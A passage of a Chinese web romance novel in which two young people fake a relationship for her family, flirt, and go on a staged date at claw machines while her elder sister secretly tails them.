“少胡说,我们是什么关系,我心里还不清楚?”刘瞳眯起双眼。 “哎呀,都已经睡过了,怎么提上裤子就翻脸不认人。”柳廷砚越发演得悲切。 刘瞳被他堵得语塞,耳根红得快要滴血,气急败坏伸手就要推他:“柳廷砚你能不能正经一点!” 他却顺势抬手,稳稳扣住她两只手腕,轻轻举过头顶,抵在门板两侧。 动作不重,却牢牢锁住她所有退路。 房间静谧无声,暖光落在他轮廓锋利的眉眼上,一半明亮,一半隐在阴影里。 方才打闹的嚣张气焰瞬间被抽空,刘瞳浑身僵硬,心跳轰然撞着胸腔。 “我不正经?” 柳廷砚微微低头,视线一寸寸描摹过她慌乱泛红的小脸,嗓音压得极低,又哑又沉。 “是谁,昨天半夜偷偷扒我房门?” “是谁,每次靠近我就眼神乱飘,耳朵比谁都红?” “又是谁,嘴上句句跟我划清界限,身体却比谁都诚实?” 每一句,都精准戳中她所有小心思。 刘瞳瞳孔微颤,呼吸乱得彻底,偏要强撑:“我、我那是不小心!演戏需要!” “是吗。” 他缓缓逼近,两人鼻尖几乎相抵,呼吸缠绕交织。 他没有下一步逾矩的动作,就只是静静看着她,眼神太深、太沉、太真,完全不似演戏。 “那小瞳。” 他轻声唤她名字,温柔 得要命,却又带着强势的侵略感。 “演戏这么久,你有没有一瞬间,哪怕一秒……是真的动心过?” 刘瞳脑子瞬间空白。 所有逞强、嘴硬、倔强,在他这双看透一切的眼眸里,尽数溃不成军。 她不敢看他,睫毛疯狂颤着,薄唇微微抿紧,整个人快要烧起来。 见她彻底慌了,柳廷砚唇角缓缓勾起一抹极淡、极蛊惑的笑。 他缓缓松开她的手腕,却俯身凑近她耳边,气息轻轻扫过她发烫的耳廓。 “没关系。” “你没动心,也没关系。” “我动心了。” 短短六个字,轻得像叹息,却重重砸在刘瞳心上。 她浑身一震,猛地抬头看他。 可柳廷砚已经站直身体,眼底暧昧尽数收敛,只剩下那副漫不经心、看似从容无害的模样,仿佛方才极致撩人的拉扯,全是她的错觉。 “出去吧,早点休息。明天,我等你带我逛遍你的小城。” 没法沟通了!”刘瞳又羞又乱,脸颊滚烫,彻底不敢再待下去,慌乱推开他,快步逃出房间。 待她出去后,柳廷砚脸上所有嬉笑与温柔尽数褪去。 屋内灯火瞬间冷寂。 他抬手关掉灯,躺倒在床上,黑暗之中,近几个月的种种遭遇一幕幕在脑海翻涌。 “陈尧,高婉然……你们欠我的,我必定加倍讨回来。等着,这一天,已经不远了。” 他低声喃喃,眼底翻涌着刺骨的寒意与狠厉。 “大姐,你在干嘛?” 刘瞳冷不丁从刘思涵身后出声,吓得对方猛地踉跄后退好几步。她站在原地,满眼疑惑地打量自家姐姐。 “嘿嘿,二妹子,我就是出来溜达溜达。不对!妈让我去超市买点东西,还叮嘱你们中午不用回家吃饭,晚上十点之前回来就可以。”刘思涵慌忙扯下口罩、摘下眼镜,额角冒出来薄薄一层冷汗,硬挤出笑容。 完蛋,这么快就被逮住,自己跟踪的技术也太烂了,刘思涵在心底暗自叹气。 “是吗?我记得这条路根本就不通超市。”刘瞳抱臂,好整以暇地盯着她。 “我这不是顺路过来给你们传个话嘛。” “老姐,你没有手机吗,发消息不就行了。”刘瞳幽幽开口。 “呃……出门太急,忘记带了。”刘思涵脸上的笑容快要维持不住,慌忙摆了摆手。 “那裤腰上那个发亮的长方形是什么?”刘瞳抬手指向她腰间露出来的手机,语气带着几分兴师问罪。 “啊!原来我带上了,我还以为落家里了,嘿嘿嘿。”刘思涵故作一脸惊讶。 “老姐,你……” “在干嘛呢?” 柳廷砚出声打断刘瞳的话。刘瞳转头,撞进一张覆着半片面具的脸庞。 “你怎么戴上面具了?”姐妹二人同时看向他,满是疑惑。 “大姐怎么也在这里?”柳廷砚反问。 “啊,我、我出来买东西,这就走,你们好好玩,不用管我。”刘思涵眼珠飞快一转,讪讪一笑,转身快步溜掉。 30. 等待进入网审 两人并肩走在人来人往的大街上。 “你不是说风险不大吗,怎么又戴上面具了?”刘瞳侧头问道。 “防患于未然。”柳廷砚的语气沉了几分。 “切,早知道这样干脆别出来,省得一堆麻烦。而且你带个面具,整的cospy一样,也太惹眼了。”无语抹额。 刘瞳本就怕麻烦,在她眼里,耗费时间做没有意义的事,远不如窝在家里补一觉来得舒服。 “可你大姐都特意安排了约会,我们要是闭门不出,反倒会让她怀疑我们是演戏。你看,我们都出来了,她还悄悄跟在后面盯梢,只能稍微牺牲一下了。”柳廷砚无奈地摊摊手,语气悲壮,一副身不由己的模样。 “拜托!当初是你脑子发热一口答应下来的,搞得好像是我逼你一样,真正被迫的人明明是我!”刘瞳越想越憋屈。自从在家里扮演情侣,她就半点主动权都握不住,大大小小的决定全由柳廷砚做主,还要时不时被家里人打趣,日子简直没法过。 “好了,既然都出来了,走吧,我的女朋友。”柳廷砚伸手揽住她的腰,唇角勾起一抹戏谑的笑,低头望向她,特意加重了“我的女朋友”四个字。 “谁是你女朋友,拿开你的咸猪蹄。”刘瞳抬手狠狠拍开他搁在自己腰上的手。 “别闹,你姐还在后面盯着。”柳廷砚再度将她揽进怀中,低头凑到她耳边低声提醒。 刘瞳几不可察地往后瞥了一眼。果然!就知道老姐没安好心。原以为出来随便晃两圈就能交差,看样子这场戏必须演全套。她心底叫苦连天,却半点都不能表露出来。 两人百无聊赖地在街上闲逛,路过商铺,柳廷砚便会拽着她进去转一圈。 刚从一家茶叶店走出来,刘瞳终于忍不住吐槽:“我说,你又不买东西,干嘛非要进去逛?” “我乐意,不行?”柳廷砚回了一句,还朝她翻了个白眼。 “你——”刘瞳火气瞬间往上涌,正要发作,就被他一把拽进怀里。 “安分点,你姐还在暗处看着。”说完他松开手,牵起她的手继续往前走。 忍!我忍!为了之后能够摆脱这场演戏,暂且先屈服。等熬过这一个月,看我怎么收拾你!刘瞳强行压下怒火,脸上扬起笑意,主动挽住他的胳膊。不就是演戏,谁怕谁,倒是要比比谁演得更逼真,小金人都该归我。 柳廷砚被她突如其来的举动弄得一愣,低头挑眉看向她,这人转性了? 刘瞳笑着回望过去,笑意却没有抵达眼底。柳廷砚瞧着她那勉强的笑容,唇角的戏谑反倒愈发浓重。 “小瞳,我们去玩那个好不好?”柳廷砚抬手指向前方一排排摆满玩偶的娃娃机,眉眼弯弯。 “好呀。”刘瞳嘴上娇柔地应下,视线都没往那边落。转过脸的瞬间,笑容直接僵住。 读书时期的记忆猛地涌上心头,当初和别人打赌抓娃娃,不光输光整整一个月的晚饭钱,还被旁人嘲笑许久,这件事给她留下巨大心理阴影。果然,这家伙就是上天派来折磨她的。 “那个……玩这个纯粹烧钱,咱们家境普通,就别凑热闹了。”刘瞳扯着嘴角委婉推脱。 “我们现在可不就是吃饱了没事干吗。”柳廷砚不由分说,拉着她就往娃娃机区域走去。 身后的刘思涵自以为隐藏得天衣无缝,躲在角落,看着二人走进电玩区,脸上露出得意的笑容:“哟,还算开窍。”她蹑手蹑脚地跟了上去。 “不是吧,一个大男人玩什么娃娃机。”刘瞳压低声音,脚步滞涩。 “不是我想玩,是你大姐说约会必须要玩娃娃机。她不跟着也就算了,如今亲自过来监视,我也没有办法。”柳廷砚语气带着几分无奈。 “我姐可真是操碎了心。”刘瞳笑得比哭还要难看。 “喏,去玩吧。”柳廷砚拿出手机扫码兑换游戏币,转头示意她上前。 “你以前玩过吗?” 他轻轻摇头:“从前心思全扑在事业上,没有闲暇碰这些消遣玩意儿。” “我不太会啊。”刘瞳满脸苦相。那次惨败之后,她就刻意避开娃娃机,今天实在躲不开。她懊恼地轻轻拍了下自己的额头,站到机器跟前。 “没关系,随便试试就好。”柳廷砚靠在机身一侧,目光一瞬不瞬落在她身上。 “我……”刘瞳欲言又止,手缓缓搭在操纵杆上,死死盯住玻璃柜里的玩偶。 僵持一分钟,她像是下定巨大决心,猛地掰动操纵杆,动作杂乱毫无章法。一旁的柳廷砚扯了扯嘴角,看样子这一位也是实打实的新手,心底莫名生出一丝趣味。 “可恶,怎么抓不到,再来!”刘瞳咬着牙继续操作。 “噗嗤。”接连数次落空,柳廷砚没忍住笑出声,就连躲在不远处的刘思涵也憋不住笑。 “我就不信,还搞不定你。”刘瞳把自己的包一把塞到柳廷砚怀里。柳廷砚猝不及防,连忙稳稳接住,暗自庆幸,要是包包摔落在地,他半张面具怕是都要遭殃。他无奈看着面前和娃娃机死磕到底的女人。 来往路过的行人纷纷驻足观望,眼神精彩纷呈。柳廷砚扶额,她足足试了二十多次,一次都没有成功,也着实有点笨。 “二妹子也太不行了。”刘思涵脑门上挂满黑线。 可刘瞳此刻脑子里只剩下一个念头:一定要抓到玩偶。周遭旁人的目光,她全然没有察觉,仿佛周遭只剩下自己和面前这台机器。 柳廷砚走上前来,从身后轻轻环住她,双手覆在她的手背上。 “你干什么!”突如其来的贴近,刘瞳浑身一颤,猛地转头。两人四目相对,唇瓣相距不足一厘米,空气中漫开滚烫暧昧的气息。 “哇,快要亲上了!妹夫也太会了,还是大庭广众之下!”刘思涵慌忙捂住双眼,却悄悄张开指缝偷看。 刘瞳脸颊烧得滚烫,慌忙把头转回去。 “别动。”低沉磁性的嗓音擦过她的耳廓,刘瞳的心像被小猫爪子反复挠动,心跳砰砰狂跳。 柳廷砚的大手包裹着她的小手,稳稳操控操纵杆。不过短短数十秒,夹子稳稳合拢,一只软乎乎的玩偶掉进出物口。 “抓到了!抓到了!”刘瞳高兴得原地蹦跳,眉眼弯成好看的月牙。 柳廷砚望着她鲜活雀跃的模样,唇角扬起浅淡笑意,真是只小野猫,区区一个玩偶就能开心成这样。 “再来再来!”刘瞳抓起他的手,再次按在操纵杆上。柳廷砚笑意更深,顺着她的心意配合。 “天呐,画面太甜了,赶紧拍下来!”不远处的刘思涵一脸姨母笑,举起手机连连按下快门。 两个人玩得不亦乐乎,一台接一台地抓,最后还是电玩店老板委婉出声提醒,才把沉浸在胜利喜悦里的二人打断。刘瞳依旧恋恋不舍,还是柳廷砚半拉半拽,才把她带走。 “柳廷砚,你拽我干什么。”刘瞳嗔怪。 “还玩上瘾了?再不把你拉走,老板就要拿扫把赶人了,难道你想那样狼狈出去?”柳廷砚怀里抱满各式各样的玩偶,模样看上去有几分滑稽。 “好像是这么个道理。不过你真的是第一次玩?居然百发百中,我都有点佩服你了。”刘瞳抬眼望向他,眼里浮起浅浅的崇拜。 “谁都跟你一样笨手笨脚。”柳廷砚毫不客气,又翻了个白眼。 “我能收回刚刚那句夸奖吗。”刘瞳脸色瞬间垮下来。 走着走着,柳廷砚停下脚步。刘瞳疑惑地退回到他身边:“怎么了?” “你该不会打算让我抱着这一堆东西逛一整天吧。”柳廷砚一脸郁闷地瘪了瘪嘴。 “那我们干脆回去。”刘瞳转身就要往家的方向走。 “等等。出门的时候长辈交代,要晚上才回去。加上你大姐还在监视,现在回去,不怕引起怀疑吗?”柳廷砚立刻开口拦住她。 “说得好像有点道理。”刘瞳若有所思地点点头。 身后不远处,刘思涵见他们停下脚步,连忙装作刷手机的样子,视线却时不时偷瞄二人。 她低头看了一眼手机,再抬眼望去,原地已经空空如也。刘思涵心头一跳。 “欸?人呢?怎么一眨眼就不见了。”她慌张地四处张望往前搜寻。 就在她经过一棵大树的瞬间,刘瞳猛地从树后跳出来。 “啊!”刘思涵吓得魂都快飞出去,惊魂未定地拍着胸口。 “你故意的是吧,想吓死你亲姐!”刘思涵怒气冲冲指着笑得得意洋洋的刘瞳。 “活该,谁让你一路偷偷尾随我们。”刘瞳捂着肚子哈哈大笑。 “谁尾随你们了,路又不是你们家私有的,凭什么别人不能走!”刘思涵立刻反驳。 “好好好。都到午饭点了,大姐你还不回家?” “午饭时间?”刘思涵低头看手机,心里暗自诧异,感觉没过去多久,居然已经这么晚。 不等刘思涵回过神,刘瞳一把接过柳廷砚怀里的玩偶,一股脑全部塞进她怀里。“喏,这些你先帮我们带回去,喜欢的话可以自己挑几个。” 说完,她拉起柳廷砚转身拔腿就跑。 “哎!哎!”刘思涵抱着满满一怀玩偶,愣在原地,等她反应过来,两人已经跑出去很远。